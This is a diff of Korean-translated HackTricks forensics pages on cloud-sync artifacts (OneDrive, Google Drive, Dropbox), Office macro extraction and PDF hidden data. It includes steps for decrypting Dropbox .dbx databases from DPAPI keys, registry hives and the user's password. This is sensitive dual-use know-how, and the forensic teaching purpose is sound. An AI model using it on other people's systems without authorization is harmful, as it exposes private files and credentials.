+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
+오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## OneDrive
+## 원드라이브
-Windows에서 OneDrive 폴더는 `\Users\\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 있는 `SyncDiagnostics.log` 파일에서 동기화된 파일에 관한 흥미로운 데이터를 찾을 수 있습니다:
+Windows에서 원드라이브 폴더는 `\Users\\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 안에는 동기화된 파일에 대한 흥미로운 데이터가 포함된 `SyncDiagnostics.log` 파일을 찾을 수 있습니다:
-* 바이트 단위의 크기
+* 바이트 단위 크기
* 생성 날짜
* 수정 날짜
* 클라우드의 파일 수
* 폴더의 파일 수
-* **CID**: OneDrive 사용자의 고유 ID
+* **CID**: 원드라이브 사용자 고유 ID
* 보고서 생성 시간
* OS의 HD 크기
-CID를 찾으면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\.ini**_ 및 _**\.dat**_와 같은 파일을 찾을 수 있습니다.
+CID를 찾은 후에는 **이 ID가 포함된 파일을 검색하는 것이 좋습니다**. _**\.ini**_ 및 _**\.dat**_와 같은 이름의 파일을 찾을 수 있으며, 이 파일에는 원드라이브와 동기화된 파일의 이름과 같은 흥미로운 정보가 포함될 수 있습니다.
-## Google Drive
+## 구글 드라이브
-Windows에서 주요 Google Drive 폴더는 `\Users\\AppData\Local\Google\Drive\user_default`에 있습니다.\
-이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당하는 MD5와 함께 나타납니다.
+Windows에서 구글 드라이브의 주요 폴더는 `\Users\\AppData\Local\Google\Drive\user_default`에 있습니다.\
+이 폴더에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등의 정보가 포함된 Sync\_log.log라는 파일이 있습니다. 삭제된 파일도 해당 로그 파일에 MD5와 함께 나타납니다.
-파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
+**`Cloud_graph\Cloud_graph.db`** 파일은 sqlite 데이터베이스로, **`cloud_graph_entry`** 테이블을 포함하고 있습니다. 이 테이블에서는 **동기화된** **파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
-데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다.
+데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 구글 드라이브 버전이 포함되어 있습니다.
-## Dropbox
+## 드롭박스
-Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 여기에서\
-데이터베이스를 찾을 수 있습니다:
+드롭박스는 파일 관리를 위해 **SQLite 데이터베이스**를 사용합니다. 이 데이터베이스는 다음 폴더에서 찾을 수 있습니다:
* `\Users\\AppData\Local\Dropbox`
* `\Users\\AppData\Local\Dropbox\Instance1`
@@ -62,9 +62,9 @@ Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용
* Deleted.dbx
* Config.dbx
-".dbx" 확장자는 데이터베이스가 **암호화**되었음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
+".dbx" 확장자는 **데이터베이스가 **암호화**되어 있음을 의미합니다. 드롭박스는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
-Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)를 참조하세요.
+드롭박스가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)을 읽어보세요.
그러나 주요 정보는 다음과 같습니다:
@@ -73,34 +73,34 @@ Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digit
* **알고리즘**: PBKDF2
* **반복 횟수**: 1066
-해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
+그 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
-* **암호화된 DPAPI 키**: 이진 형식으로 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리 내에서 찾을 수 있습니다 (이 데이터를 내보내기)
+* **암호화된 DPAPI 키**: `NTUSER.DAT\Software\Dropbox\ks\client`의 레지스트리에서 찾을 수 있습니다 (이 데이터를 이진 형식으로 내보내기)
* **`SYSTEM`** 및 **`SECURITY`** 하이브
-* **DPAPI 마스터 키**: `\Users\\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다
-* Windows 사용자의 **사용자 이름** 및 **암호**
+* **DPAPI 마스터 키**: `\Users\\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다.
+* Windows 사용자 **사용자 이름** 및 **비밀번호**
-그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다:
+그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** 도구를 사용할 수 있습니다:**
![](<../../../.gitbook/assets/image (448).png>)
-모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣어 사용하면 됩니다.
+모든 것이 예상대로 진행되면, 도구는 원본을 복구하는 데 필요한 **기본 키**를 표시합니다. 원본을 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))를 사용하여 기본 키를 레시피의 "비밀번호"로 넣으면 됩니다.
-결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다:
+결과로 나오는 헥스는 데이터베이스를 암호화하는 데 사용된 최종 키이며, 이를 복호화할 수 있습니다:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
-**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다:
+The **`config.dbx`** 데이터베이스에는 다음이 포함됩니다:
-* **이메일**: 사용자의 이메일
+* **Email**: 사용자의 이메일
* **usernamedisplayname**: 사용자의 이름
* **dropbox\_path**: 드롭박스 폴더가 위치한 경로
-* **Host\_id: 클라우드에 인증하는 해시**. 이는 웹에서만 취소할 수 있습니다.
+* **Host\_id: Hash**: 클라우드에 인증하는 데 사용됩니다. 이는 웹에서만 취소할 수 있습니다.
* **Root\_ns**: 사용자 식별자
-**`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 많이 있습니다:
+The **`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블이 가장 유용한 정보를 포함하고 있습니다:
-* **Server\_path**: 서버 내 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됨).
+* **Server\_path**: 서버 내에서 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됩니다).
* **local\_sjid**: 파일의 버전
* **local\_mtime**: 수정 날짜
* **local\_ctime**: 생성 날짜
@@ -108,7 +108,7 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
* **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
-* **block\_ref**: `block_cache` 테이블의 해시 ID를 `file_journal` 테이블의 파일 ID와 관련시킴
+* **block\_ref**: `block_cache` 테이블의 해시 ID와 `file_journal` 테이블의 파일 ID를 관련짓습니다.
* **mount\_table**: 드롭박스의 공유 폴더
* **deleted\_fields**: 드롭박스에서 삭제된 파일
* **date\_added**
@@ -116,21 +116,22 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+지금 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index ecfd28d16..bd8df81b3 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,58 +1,60 @@
-# 오피스 파일 분석
+# Office file analysis
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 간단한 요약입니다:
+For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
-마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 될 수 있습니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축을 해제하여 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
+Microsoft는 많은 오피스 문서 형식을 만들었으며, 두 가지 주요 유형은 **OLE 형식**(RTF, DOC, XLS, PPT와 같은)과 **Office Open XML (OOXML) 형식**(DOCX, XLSX, PPTX와 같은)입니다. 이러한 형식은 매크로를 포함할 수 있어 피싱 및 악성 소프트웨어의 표적이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 파일 및 폴더 계층과 XML 파일 내용을 확인할 수 있습니다.
-OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
+OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령과 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 은닉에 대한 지속적인 혁신을 나타냅니다.
-분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 할 수 있습니다. 이를 통해 중단점 및 감시 변수로 디버깅할 수 있습니다.
+분석을 위해 **oletools**와 **OfficeDissector**는 OLE 및 OOXML 문서를 검사하기 위한 포괄적인 도구 세트를 제공합니다. 이러한 도구는 종종 악성 소프트웨어 배포의 벡터 역할을 하는 내장 매크로를 식별하고 분석하는 데 도움을 줍니다. VBA 매크로 분석은 Libre Office를 활용하여 Microsoft Office 없이 수행할 수 있으며, 이는 중단점 및 감시 변수를 사용한 디버깅을 허용합니다.
-**oletools**의 설치 및 사용법은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령어가 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다.
+**oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령이 제공됩니다. 매크로의 자동 실행은 `AutoOpen`, `AutoExec` 또는 `Document_Open`과 같은 기능에 의해 트리거됩니다.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+지금 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
+* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 3bb646c02..fe1a85daf 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,52 +1,54 @@
# PDF 파일 분석
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
+**자세한 내용은 다음을 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
-PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 특정 편집기와 같은 도구를 사용할 수 있습니다.
+PDF 형식은 복잡성과 데이터를 숨길 수 있는 잠재력으로 잘 알려져 있어 CTF 포렌식 챌린지의 중심이 됩니다. PDF는 일반 텍스트 요소와 이진 객체를 결합하며, 이는 압축되거나 암호화될 수 있고, JavaScript 또는 Flash와 같은 언어의 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [소개 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 텍스트 편집기 또는 Origami와 같은 PDF 전용 편집기를 사용할 수 있습니다.
-PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내의 숨겨진 데이터는 다음 위치에 숨겨질 수 있습니다:
+PDF를 심층적으로 탐색하거나 조작하기 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내 숨겨진 데이터는 다음에 숨겨질 수 있습니다:
* 보이지 않는 레이어
* Adobe의 XMP 메타데이터 형식
-* 증분 세대
-* 배경과 동일한 색상의 텍스트
-* 이미지 뒤에 있는 텍스트 또는 이미지와 겹치는 텍스트
+* 점진적 생성
+* 배경과 같은 색상의 텍스트
+* 이미지 뒤의 텍스트 또는 겹치는 이미지
* 표시되지 않는 주석
-사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 PDF 위험 및 대책에 관한 NSA 가이드와 같은 리소스는 원래 위치에 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
+맞춤형 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 파싱 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 매우 방대하여, 원래 위치에서 더 이상 호스팅되지 않지만 PDF 위험 및 대응 조치에 대한 NSA 가이드와 같은 자료는 여전히 귀중한 통찰력을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)과 Ange Albertini의 [PDF 형식 트릭 모음](https://github.com/corkami/docs/blob/master/PDF/PDF.md)은 이 주제에 대한 추가 읽기를 제공할 수 있습니다.
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 88dd02453..017d02868 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,87 +1,88 @@
-# 안티 포렌식 기술
+# 안티 포렌식 기법
+
+{% hint style="success" %}
